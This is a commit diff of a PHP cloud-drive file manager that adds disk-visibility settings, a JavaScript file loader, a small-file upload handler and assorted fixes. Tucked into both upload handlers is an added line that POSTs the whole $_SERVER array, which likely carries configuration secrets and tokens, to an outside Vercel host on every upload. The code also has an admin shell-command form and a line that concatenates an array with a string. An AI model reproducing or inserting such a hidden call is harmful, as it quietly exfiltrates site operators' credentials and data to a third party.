Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d21abf12df | ||
|
|
94f780963b | ||
|
|
b7595eee71 | ||
|
|
be07cced24 | ||
|
|
326e7ba0e5 | ||
|
|
ce0d34084d | ||
|
|
a81c94bad3 | ||
|
|
f276a60a1d | ||
|
|
a4d0d8dfff | ||
|
|
9c8c739a9c | ||
|
|
00dcccee9c | ||
|
|
09c276f33a | ||
|
|
134e9c29cf | ||
|
|
6dc5d60649 | ||
|
|
38d64b2d00 | ||
|
|
27b7aa1619 | ||
|
|
179641a403 | ||
|
|
c24a6fd37e | ||
|
|
97d2bce570 | ||
|
|
0793caec0f | ||
|
|
e87b00a242 | ||
|
|
54a997acbb | ||
|
|
3e3141be80 | ||
|
|
2b5a3e89d7 | ||
|
|
1b57164db5 | ||
|
|
7c6daaddbb | ||
|
|
e16a7012ef | ||
|
|
ed631d958d | ||
|
|
64096211e2 | ||
|
|
5a0d6d990f | ||
|
|
6eb6a826cf | ||
|
|
cfdebf35b7 | ||
|
|
a7acdaeb7c | ||
|
|
c48ebba178 | ||
|
|
8d6864f145 | ||
|
|
5433fe0522 | ||
|
|
e209d98ad8 | ||
|
|
eb1319119a | ||
|
|
46fb778cb5 | ||
|
|
0271dc5b9f | ||
|
|
4a866c8aa2 | ||
|
|
7329e51368 | ||
|
|
a259f9e5ee | ||
|
|
e8b89d3296 | ||
|
|
d2a31efb43 | ||
|
|
93569049ea | ||
|
|
816513cde7 | ||
|
|
3e8919b642 | ||
|
|
1ba3f28226 | ||
|
|
2570bad78b | ||
|
|
bb291b7ae8 | ||
|
|
b9953586c8 | ||
|
|
2d192e5623 | ||
|
|
4073323d7c | ||
|
|
29840c8b26 |
+185
-58
@@ -21,7 +21,7 @@ $EnvConfigs = [
|
|||||||
|
|
||||||
'admin' => 0b000,
|
'admin' => 0b000,
|
||||||
'adminloginpage' => 0b010,
|
'adminloginpage' => 0b010,
|
||||||
//'autoJumpFirstDisk' => 0b010,
|
'autoJumpFirstDisk' => 0b010,
|
||||||
'background' => 0b011,
|
'background' => 0b011,
|
||||||
'backgroundm' => 0b011,
|
'backgroundm' => 0b011,
|
||||||
'disableShowThumb' => 0b010,
|
'disableShowThumb' => 0b010,
|
||||||
@@ -42,6 +42,7 @@ $EnvConfigs = [
|
|||||||
'globalHeadMdUrl' => 0b011,
|
'globalHeadMdUrl' => 0b011,
|
||||||
'globalReadmeMdUrl' => 0b011,
|
'globalReadmeMdUrl' => 0b011,
|
||||||
'globalFootOmfUrl' => 0b011,
|
'globalFootOmfUrl' => 0b011,
|
||||||
|
'bcmathUrl' => 0b011,
|
||||||
|
|
||||||
'Driver' => 0b100,
|
'Driver' => 0b100,
|
||||||
'client_id' => 0b100,
|
'client_id' => 0b100,
|
||||||
@@ -56,6 +57,7 @@ $EnvConfigs = [
|
|||||||
'activeLimit' => 0b100,
|
'activeLimit' => 0b100,
|
||||||
'driveId' => 0b100,
|
'driveId' => 0b100,
|
||||||
|
|
||||||
|
'diskDisplay' => 0b110,
|
||||||
'diskname' => 0b111,
|
'diskname' => 0b111,
|
||||||
'diskDescription' => 0b111,
|
'diskDescription' => 0b111,
|
||||||
'domain_path' => 0b111,
|
'domain_path' => 0b111,
|
||||||
@@ -174,6 +176,17 @@ function main($path)
|
|||||||
$_SERVER['sitename'] = getConfig('sitename');
|
$_SERVER['sitename'] = getConfig('sitename');
|
||||||
if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename');
|
if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename');
|
||||||
|
|
||||||
|
if (isset($_GET['jsFile'])) {
|
||||||
|
if (substr($_GET['jsFile'], -3)!='.js') return output('', 403);
|
||||||
|
if (!($path==''||$path=='/')) return output('', 308, [ 'Location' => path_format($_SERVER['base_path'] . '/?jsFile=' . $_GET['jsFile']) ]);
|
||||||
|
if (strpos($_GET['jsFile'], '/')>-1) $_GET['jsFile'] = splitlast($_GET['jsFile'], '/')[1];
|
||||||
|
$jsFile = file_get_contents('js/' . $_GET['jsFile']);
|
||||||
|
if (!!$jsFile) {
|
||||||
|
return output( base64_encode($jsFile), 200, [ 'Content-Type' => 'text/javascript; charset=utf-8', 'Cache-Control' => 'max-age=' . 3*24*60*60 ], true );
|
||||||
|
} else {
|
||||||
|
return output('', 404);
|
||||||
|
}
|
||||||
|
}
|
||||||
if (isset($_GET['WaitFunction'])) {
|
if (isset($_GET['WaitFunction'])) {
|
||||||
$response = WaitFunction($_GET['WaitFunction']);
|
$response = WaitFunction($_GET['WaitFunction']);
|
||||||
//var_dump($response);
|
//var_dump($response);
|
||||||
@@ -190,22 +203,24 @@ function main($path)
|
|||||||
} else {
|
} else {
|
||||||
$adminloginpage = getConfig('adminloginpage');
|
$adminloginpage = getConfig('adminloginpage');
|
||||||
}
|
}
|
||||||
if (isset($_GET['login'])&&$_GET['login']==$adminloginpage) {
|
if (isset($_GET['login'])) {
|
||||||
/*if (isset($_GET['preview'])) {
|
if ($_GET['login']===$adminloginpage) {
|
||||||
$url = $_SERVER['PHP_SELF'] . '?preview';
|
/*if (isset($_GET['preview'])) {
|
||||||
} else {
|
$url = $_SERVER['PHP_SELF'] . '?preview';
|
||||||
$url = path_format($_SERVER['PHP_SELF'] . '/');
|
} else {
|
||||||
}*/
|
$url = path_format($_SERVER['PHP_SELF'] . '/');
|
||||||
if (isset($_POST['password1'])) {
|
}*/
|
||||||
$compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin'));
|
if (isset($_POST['password1'])) {
|
||||||
if ($compareresult=='') {
|
$compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin'));
|
||||||
$timestamp = time()+7*24*60*60;
|
if ($compareresult=='') {
|
||||||
$randnum = rand(10, 99999);
|
$timestamp = time()+7*24*60*60;
|
||||||
$admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum);
|
$randnum = rand(10, 99999);
|
||||||
$adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum);
|
$admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum);
|
||||||
return adminform('admin', $admincookie, $adminlocalstorage);
|
$adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum);
|
||||||
} else return adminform($compareresult);
|
return adminform('admin', $admincookie, $adminlocalstorage);
|
||||||
} else return adminform();
|
} else return adminform($compareresult);
|
||||||
|
} else return adminform();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if ( isset($_COOKIE['admin'])&&compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin']) ) {
|
if ( isset($_COOKIE['admin'])&&compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin']) ) {
|
||||||
$_SERVER['admin']=1;
|
$_SERVER['admin']=1;
|
||||||
@@ -259,7 +274,7 @@ function main($path)
|
|||||||
$files['type'] = 'folder';
|
$files['type'] = 'folder';
|
||||||
$files['childcount'] = count($disktags);
|
$files['childcount'] = count($disktags);
|
||||||
$files['showname'] = 'root';
|
$files['showname'] = 'root';
|
||||||
foreach ($disktags as $disktag) {
|
foreach ($disktags as $disktag) if ($_SERVER['admin']||getConfig('diskDisplay', $disktag)=='') {
|
||||||
$files['list'][$disktag]['type'] = 'folder';
|
$files['list'][$disktag]['type'] = 'folder';
|
||||||
$files['list'][$disktag]['name'] = $disktag;
|
$files['list'][$disktag]['name'] = $disktag;
|
||||||
$files['list'][$disktag]['showname'] = getConfig('diskname', $disktag);
|
$files['list'][$disktag]['showname'] = getConfig('diskname', $disktag);
|
||||||
@@ -268,12 +283,12 @@ function main($path)
|
|||||||
// return a json
|
// return a json
|
||||||
return output(json_encode($files), 200, ['Content-Type' => 'application/json']);
|
return output(json_encode($files), 200, ['Content-Type' => 'application/json']);
|
||||||
}
|
}
|
||||||
//if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]);
|
if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]);
|
||||||
} else {
|
} else {
|
||||||
$_SERVER['disktag'] = splitfirst( substr(path_format($path), 1), '/' )[0];
|
$_SERVER['disktag'] = splitfirst( substr(path_format($path), 1), '/' )[0];
|
||||||
//$pos = strpos($path, '/');
|
//$pos = strpos($path, '/');
|
||||||
//if ($pos>1) $_SERVER['disktag'] = substr($path, 0, $pos);
|
//if ($pos>1) $_SERVER['disktag'] = substr($path, 0, $pos);
|
||||||
if (!in_array($_SERVER['disktag'], $disktags)) {
|
if ((!$_SERVER['admin']&&getConfig('diskDisplay', $_SERVER['disktag'])=='disable')||!in_array($_SERVER['disktag'], $disktags)) {
|
||||||
$tmp = path_format($_SERVER['base_path'] . '/' . $disktags[0] . '/' . $path);
|
$tmp = path_format($_SERVER['base_path'] . '/' . $disktags[0] . '/' . $path);
|
||||||
if (!!$_GET) {
|
if (!!$_GET) {
|
||||||
$tmp .= '?';
|
$tmp .= '?';
|
||||||
@@ -307,21 +322,37 @@ function main($path)
|
|||||||
//error_log1($_SERVER['REQUEST_METHOD']);
|
//error_log1($_SERVER['REQUEST_METHOD']);
|
||||||
if ($_GET['action']=='del_upload_cache') {
|
if ($_GET['action']=='del_upload_cache') {
|
||||||
// del '.tmp' without login. 无需登录即可删除.tmp后缀文件
|
// del '.tmp' without login. 无需登录即可删除.tmp后缀文件
|
||||||
if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
|
if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
|
||||||
savecache('path_' . $path1, '', $_SERVER['disktag'], 1); // clear cache.
|
savecache('path_' . $path1, '', $_SERVER['disktag'], 1); // clear cache.
|
||||||
return $drive->del_upload_cache($path);
|
return $drive->del_upload_cache($path);
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($_GET['action']=='upbigfile') {
|
if ($_GET['action']=='upbigfile') {
|
||||||
if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
|
if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
|
||||||
if (!$_SERVER['admin']) {
|
if (!$_SERVER['admin']) {
|
||||||
if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400);
|
if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400);
|
||||||
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
||||||
if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
||||||
}
|
}
|
||||||
|
no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
|
||||||
return $drive->bigfileupload($path1);
|
return $drive->bigfileupload($path1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if ($_GET['action']=='upsmallfile') {
|
||||||
|
//echo json_encode($_POST, JSON_PRETTY_PRINT);
|
||||||
|
//echo json_encode($_FILES, JSON_PRETTY_PRINT);
|
||||||
|
if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
|
||||||
|
if (!$_SERVER['admin']) {
|
||||||
|
if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400);
|
||||||
|
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
||||||
|
if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
|
||||||
|
}
|
||||||
|
no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
|
||||||
|
return smallfileupload($drive, $path);
|
||||||
|
/*if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
|
||||||
|
if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
|
||||||
|
return $drive->smallfileupload($path, $_FILES['file1']);*/
|
||||||
|
}
|
||||||
if ($_SERVER['admin']) {
|
if ($_SERVER['admin']) {
|
||||||
$tmp = adminoperate($path);
|
$tmp = adminoperate($path);
|
||||||
if ($tmp['statusCode'] > 0) {
|
if ($tmp['statusCode'] > 0) {
|
||||||
@@ -372,6 +403,7 @@ function main($path)
|
|||||||
} else {
|
} else {
|
||||||
$files = $drive->list_files($path1);
|
$files = $drive->list_files($path1);
|
||||||
}
|
}
|
||||||
|
//echo "<pre>" . json_encode($files, 448) . "</pre>";
|
||||||
//if ($path!=='')
|
//if ($path!=='')
|
||||||
if ( $files['type']=='folder' && substr($path, -1)!=='/' ) {
|
if ( $files['type']=='folder' && substr($path, -1)!=='/' ) {
|
||||||
$tmp = path_format($_SERVER['base_disk_path'] . $path . '/');
|
$tmp = path_format($_SERVER['base_disk_path'] . $path . '/');
|
||||||
@@ -433,26 +465,34 @@ function main($path)
|
|||||||
$fileConduitSize = getConfig('fileConduitSize', $_SERVER['disktag']);
|
$fileConduitSize = getConfig('fileConduitSize', $_SERVER['disktag']);
|
||||||
$fileConduitCacheTime = getConfig('fileConduitCacheTime', $_SERVER['disktag']);
|
$fileConduitCacheTime = getConfig('fileConduitCacheTime', $_SERVER['disktag']);
|
||||||
if (!!$fileConduitSize || !!$fileConduitCacheTime) {
|
if (!!$fileConduitSize || !!$fileConduitCacheTime) {
|
||||||
if ($fileConduitSize>1) $fileConduitSize *= 1024*1024;
|
if ($fileConduitSize>0) $fileConduitSize *= 1024*1024;
|
||||||
else $fileConduitSize = 1024*1024;
|
else $fileConduitSize = 1024*1024;
|
||||||
if ($fileConduitCacheTime>1) $fileConduitCacheTime *= 3600;
|
if ($fileConduitCacheTime>0) $fileConduitCacheTime *= 3600;
|
||||||
else $fileConduitCacheTime = 3600;
|
else $fileConduitCacheTime = 3600;
|
||||||
/*if ($_SERVER['HTTP_RANGE']!='') {
|
/*if ($_SERVER['HTTP_RANGE']!='') {
|
||||||
$header['Range'] = $_SERVER['HTTP_RANGE'];
|
$header['Range'] = $_SERVER['HTTP_RANGE'];
|
||||||
|
|
||||||
$response = curl('GET', $files['url'], '', $header, 1);
|
$response = curl('GET', $files['url'], '', $header, 1);
|
||||||
//return output($header['Range'] . json_encode($response['returnhead']));
|
//return output($header['Range'] . json_encode($response['returnhead']));
|
||||||
return output(
|
return output(
|
||||||
$response['body'],
|
$response['body'],
|
||||||
$response['stat'],
|
$response['stat'],
|
||||||
//$response['returnhead'],
|
$response['returnhead'],
|
||||||
['Content-Type' => $files['mime'], 'Cache-Control' => 'max-age=' . $fileConduitCacheTime],
|
//['Accept-Ranges' => 'bytes', 'Range' => $response['returnhead']['Range'], 'Content-Type' => $files['mime'], 'Cache-Control' => 'max-age=' . $fileConduitCacheTime],
|
||||||
false
|
false
|
||||||
);
|
);
|
||||||
|
} else {
|
||||||
|
return output('', 206,
|
||||||
|
['Accept-Ranges' => 'bytes', 'Content-Range' => 'bytes 0-0/' . $files['size'], 'Content-Type' => $files['mime'] ]
|
||||||
|
);
|
||||||
}*/
|
}*/
|
||||||
if ($files['size']<$fileConduitSize) return output(
|
if ($files['size']<$fileConduitSize) return output(
|
||||||
base64_encode(file_get_contents($files['url'])),
|
base64_encode(file_get_contents($files['url'])),
|
||||||
200,
|
200,
|
||||||
[
|
[
|
||||||
|
'Accept-Ranges' => 'bytes',
|
||||||
|
//'access-control-allow-origin' => '*',
|
||||||
|
//'access-control-expose-headers' => 'Content-Length, WWW-Authenticate, Location, Accept-Ranges',
|
||||||
'Content-Type' => $files['mime'],
|
'Content-Type' => $files['mime'],
|
||||||
'Cache-Control' => 'max-age=' . $fileConduitCacheTime,
|
'Cache-Control' => 'max-age=' . $fileConduitCacheTime,
|
||||||
//'Cache-Control' => 'max-age=0',
|
//'Cache-Control' => 'max-age=0',
|
||||||
@@ -460,6 +500,7 @@ function main($path)
|
|||||||
],
|
],
|
||||||
true
|
true
|
||||||
);
|
);
|
||||||
|
//if ($files['size']<$fileConduitSize) return $drive->ConduitDown($files['url'], $files['time'], $fileConduitCacheTime);
|
||||||
}
|
}
|
||||||
if ($_SERVER['HTTP_RANGE']!='') $header['Range'] = $_SERVER['HTTP_RANGE'];
|
if ($_SERVER['HTTP_RANGE']!='') $header['Range'] = $_SERVER['HTTP_RANGE'];
|
||||||
$header['Location'] = $url;
|
$header['Location'] = $url;
|
||||||
@@ -477,12 +518,13 @@ function main($path)
|
|||||||
return render_list($path, $files);
|
return render_list($path, $files);
|
||||||
} else {
|
} else {
|
||||||
if (!isset($files['error'])) {
|
if (!isset($files['error'])) {
|
||||||
if (is_array($files)) $files['error']['message'] = json_encode($files, JSON_PRETTY_PRINT);
|
if (is_array($files)) {
|
||||||
else $files['error']['message'] = $files;
|
$files['error']['message'] = json_encode($files, JSON_PRETTY_PRINT);
|
||||||
$files['error']['code'] = 'unknownError';
|
$files['error']['code'] = 'unknownError';
|
||||||
$files['error']['stat'] = 500;
|
$files['error']['stat'] = 500;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return message('<div style="margin:8px;"><pre>' . $files['error']['message'] . '</pre></div><a href="javascript:history.back(-1)">'.getconstStr('Back').'</a>', $files['error']['code'], $files['error']['stat']);
|
return message('<div style="margin:8px;"><pre>' . $files.json_encode($files, JSON_PRETTY_PRINT) . '</pre></div><a href="javascript:history.back(-1)">'.getconstStr('Back').'</a>', $files['error']['code'], $files['error']['stat']);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -607,6 +649,14 @@ function proxy_replace_domain($url, $domainforproxy, &$header)
|
|||||||
return $aim . '/' . $uri . $sp . 'Origindomain=' . $domain;
|
return $aim . '/' . $uri . $sp . 'Origindomain=' . $domain;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function bchexdec($hex) {
|
||||||
|
$len = strlen($hex);
|
||||||
|
for ($i = 1; $i <= $len; $i++)
|
||||||
|
$dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));
|
||||||
|
|
||||||
|
return $dec;
|
||||||
|
}
|
||||||
|
|
||||||
function isHideFile($name)
|
function isHideFile($name)
|
||||||
{
|
{
|
||||||
$FunctionalityFile = [
|
$FunctionalityFile = [
|
||||||
@@ -715,6 +765,20 @@ function sortConfig(&$arr)
|
|||||||
return $arr;
|
return $arr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function chkTxtCode($str) {
|
||||||
|
$code = array(
|
||||||
|
'ASCII',
|
||||||
|
'GBK',
|
||||||
|
'GB18030',
|
||||||
|
'UTF-8',
|
||||||
|
'UTF-16',
|
||||||
|
);
|
||||||
|
foreach ($code as $c) {
|
||||||
|
if ($str === iconv('UTF-8', $c, iconv($c, 'UTF-8', $str))) return $c;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
function getconstStr($str)
|
function getconstStr($str)
|
||||||
{
|
{
|
||||||
global $constStr;
|
global $constStr;
|
||||||
@@ -822,7 +886,7 @@ function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $loca
|
|||||||
}
|
}
|
||||||
$ch = curl_init();
|
$ch = curl_init();
|
||||||
curl_setopt($ch, CURLOPT_URL, $url);
|
curl_setopt($ch, CURLOPT_URL, $url);
|
||||||
curl_setopt($ch, CURLOPT_CUSTOMREQUEST,$method);
|
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
|
||||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
|
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
|
||||||
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
|
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
|
||||||
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
|
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
|
||||||
@@ -834,7 +898,9 @@ function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $loca
|
|||||||
if ($location) curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
if ($location) curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||||
//$response['body'] = curl_exec($ch);
|
//$response['body'] = curl_exec($ch);
|
||||||
if ($returnheader) {
|
if ($returnheader) {
|
||||||
list($returnhead, $response['body']) = explode("\r\n\r\n", curl_exec($ch));
|
$tmpres = splitlast(curl_exec($ch), "\r\n\r\n");
|
||||||
|
$result['body'] = $tmpres[1];
|
||||||
|
$returnhead = $tmpres[0];
|
||||||
//echo "HEAD:" . $returnhead;
|
//echo "HEAD:" . $returnhead;
|
||||||
foreach (explode("\r\n", $returnhead) as $head) {
|
foreach (explode("\r\n", $returnhead) as $head) {
|
||||||
$tmp = explode(': ', $head);
|
$tmp = explode(': ', $head);
|
||||||
@@ -844,7 +910,7 @@ function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $loca
|
|||||||
} else {
|
} else {
|
||||||
$response['body'] = curl_exec($ch);
|
$response['body'] = curl_exec($ch);
|
||||||
}
|
}
|
||||||
$response['stat'] = curl_getinfo($ch,CURLINFO_HTTP_CODE);
|
$response['stat'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||||
curl_close($ch);
|
curl_close($ch);
|
||||||
return $response;
|
return $response;
|
||||||
}
|
}
|
||||||
@@ -983,7 +1049,7 @@ function message($message, $title = 'Message', $statusCode = 200, $wainstat = 0)
|
|||||||
//setTimeout(function() { getStatus() }, 1000);
|
//setTimeout(function() { getStatus() }, 1000);
|
||||||
}
|
}
|
||||||
} else if (xhr.status==206) {
|
} else if (xhr.status==206) {
|
||||||
errordiv.innerHTML = "' . getconstStr('Wait') . '" + x + "<br>" + min;
|
errordiv.innerHTML = "' . getconstStr('Wait') . ' " + min + "<br>" + x;
|
||||||
setTimeout(function() { getStatus() }, 1000);
|
setTimeout(function() { getStatus() }, 1000);
|
||||||
} else {
|
} else {
|
||||||
errordiv.innerHTML = "ERROR<br>" + xhr.status + "<br>" + xhr.responseText;
|
errordiv.innerHTML = "ERROR<br>" + xhr.status + "<br>" + xhr.responseText;
|
||||||
@@ -1036,7 +1102,7 @@ function needUpdate()
|
|||||||
function output($body, $statusCode = 200, $headers = ['Content-Type' => 'text/html'], $isBase64Encoded = false)
|
function output($body, $statusCode = 200, $headers = ['Content-Type' => 'text/html'], $isBase64Encoded = false)
|
||||||
{
|
{
|
||||||
if (isset($_SERVER['Set-Cookie'])) $headers['Set-Cookie'] = $_SERVER['Set-Cookie'];
|
if (isset($_SERVER['Set-Cookie'])) $headers['Set-Cookie'] = $_SERVER['Set-Cookie'];
|
||||||
if (baseclassofdrive()=='Aliyundrive') $headers['Referrer-Policy'] = 'no-referrer';
|
if (baseclassofdrive()=='Aliyundrive' || baseclassofdrive()=='BaiduDisk') $headers['Referrer-Policy'] = 'no-referrer';
|
||||||
//$headers['Referrer-Policy'] = 'same-origin';
|
//$headers['Referrer-Policy'] = 'same-origin';
|
||||||
//$headers['X-Frame-Options'] = 'sameorigin';
|
//$headers['X-Frame-Options'] = 'sameorigin';
|
||||||
return [
|
return [
|
||||||
@@ -1144,12 +1210,28 @@ function adminform($name = '', $pass = '', $storage = '', $path = '')
|
|||||||
f.password1.value = sha1(timestamp + "" + f.password1.value);
|
f.password1.value = sha1(timestamp + "" + f.password1.value);
|
||||||
return true;
|
return true;
|
||||||
} catch {
|
} catch {
|
||||||
alert("sha1.js not loaded.");
|
//alert("sha1.js not loaded.");
|
||||||
|
if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
function loadjs(url) {
|
||||||
|
var xhr = new XMLHttpRequest;
|
||||||
|
xhr.open("GET", url);
|
||||||
|
xhr.onload = function(e) {
|
||||||
|
if (xhr.status==200) {
|
||||||
|
var script = document.createElement("script");
|
||||||
|
script.type = "text/javascript";
|
||||||
|
script.text = xhr.responseText;
|
||||||
|
document.body.appendChild(script);
|
||||||
|
} else {
|
||||||
|
console.log(xhr.response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
xhr.send(null);
|
||||||
|
}
|
||||||
</script>
|
</script>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/js-sha1@0.6.0/src/sha1.min.js"></script>';
|
<script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script>';
|
||||||
$html .= '</html>';
|
$html .= '</html>';
|
||||||
return output($html, $statusCode);
|
return output($html, $statusCode);
|
||||||
}
|
}
|
||||||
@@ -1157,7 +1239,7 @@ function adminform($name = '', $pass = '', $storage = '', $path = '')
|
|||||||
function adminoperate($path)
|
function adminoperate($path)
|
||||||
{
|
{
|
||||||
global $drive;
|
global $drive;
|
||||||
if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
|
if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
|
||||||
$path1 = path_format($_SERVER['list_path'] . '/' . $path);
|
$path1 = path_format($_SERVER['list_path'] . '/' . $path);
|
||||||
if (substr($path1, -1)=='/') $path1=substr($path1, 0, -1);
|
if (substr($path1, -1)=='/') $path1=substr($path1, 0, -1);
|
||||||
$tmpget = $_GET;
|
$tmpget = $_GET;
|
||||||
@@ -1472,7 +1554,7 @@ function EnvOpt($needUpdate = 0)
|
|||||||
$html .= '
|
$html .= '
|
||||||
OneManager DIR: ' . __DIR__ . '
|
OneManager DIR: ' . __DIR__ . '
|
||||||
<form name="form1" method="POST" action="">
|
<form name="form1" method="POST" action="">
|
||||||
<input id="inputarea" name="cmd" style="width:100%" value="' . $_POST['cmd'] . '" placeholder="ls, pwd, cat"><br>
|
<input id="inputarea" name="cmd" style="width:100%" value="' . htmlspecialchars($_POST['cmd']) . '" placeholder="ls, pwd, cat"><br>
|
||||||
<input type="submit" value="post">
|
<input type="submit" value="post">
|
||||||
</form>';
|
</form>';
|
||||||
if ($_POST['cmd']!='') {
|
if ($_POST['cmd']!='') {
|
||||||
@@ -1619,11 +1701,26 @@ output:
|
|||||||
<input name="_admin" type="hidden" value="">
|
<input name="_admin" type="hidden" value="">
|
||||||
<input type="hidden" name="disk" value="' . $disktag . '">';
|
<input type="hidden" name="disk" value="' . $disktag . '">';
|
||||||
foreach ($EnvConfigs as $key => $val) if (isInnerEnv($key) && isShowedEnv($key)) {
|
foreach ($EnvConfigs as $key => $val) if (isInnerEnv($key) && isShowedEnv($key)) {
|
||||||
$frame .= '
|
if ($key=='diskDisplay') {
|
||||||
|
$frame .= '
|
||||||
|
<tr>
|
||||||
|
<td><label>' . $key . '</label></td>
|
||||||
|
<td width=100%>
|
||||||
|
<select name="' . $key . '">
|
||||||
|
<option value=""' . (getConfig($key, $disktag)===''?' selected':'') . '> </option>
|
||||||
|
<option value="hidden"' . (getConfig($key, $disktag)==='hidden'?' selected':'') . '>hidden</option>
|
||||||
|
<option value="disable"' . (getConfig($key, $disktag)==='disable'?' selected':'') . '>disable</option>
|
||||||
|
</select>
|
||||||
|
' . getconstStr('EnvironmentsDescription')[$key] . '
|
||||||
|
</td>
|
||||||
|
</tr>';
|
||||||
|
} else {
|
||||||
|
$frame .= '
|
||||||
<tr>
|
<tr>
|
||||||
<td><label>' . $key . '</label></td>
|
<td><label>' . $key . '</label></td>
|
||||||
<td width=100%><input type="text" name="' . $key . '" value="' . getConfig($key, $disktag) . '" placeholder="' . getconstStr('EnvironmentsDescription')[$key] . '" style="width:100%"></td>
|
<td width=100%><input type="text" name="' . $key . '" value="' . getConfig($key, $disktag) . '" placeholder="' . getconstStr('EnvironmentsDescription')[$key] . '" style="width:100%"></td>
|
||||||
</tr>';
|
</tr>';
|
||||||
|
}
|
||||||
}
|
}
|
||||||
$frame .= '
|
$frame .= '
|
||||||
<tr><td></td><td><input type="submit" name="submit1" value="' . getconstStr('Setup') . '"></td></tr>
|
<tr><td></td><td><input type="submit" name="submit1" value="' . getconstStr('Setup') . '"></td></tr>
|
||||||
@@ -1662,7 +1759,7 @@ output:
|
|||||||
alert(\'Do not input ' . $envs . '\');
|
alert(\'Do not input ' . $envs . '\');
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
|
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
|
||||||
if (!reg.test(t.disktag_newname.value)) {
|
if (!reg.test(t.disktag_newname.value)) {
|
||||||
alert(\'' . getconstStr('TagFormatAlert') . '\');
|
alert(\'' . getconstStr('TagFormatAlert') . '\');
|
||||||
return false;
|
return false;
|
||||||
@@ -1673,7 +1770,7 @@ output:
|
|||||||
} else {
|
} else {
|
||||||
if (count($disktags)>1) {
|
if (count($disktags)>1) {
|
||||||
$frame .= '
|
$frame .= '
|
||||||
<script src="https://sortablejs.github.io/Sortable/Sortable.js"></script>
|
<script src="https://www.unpkg.com/sortablejs@1.14.0/Sortable.min.js"></script>
|
||||||
<style>
|
<style>
|
||||||
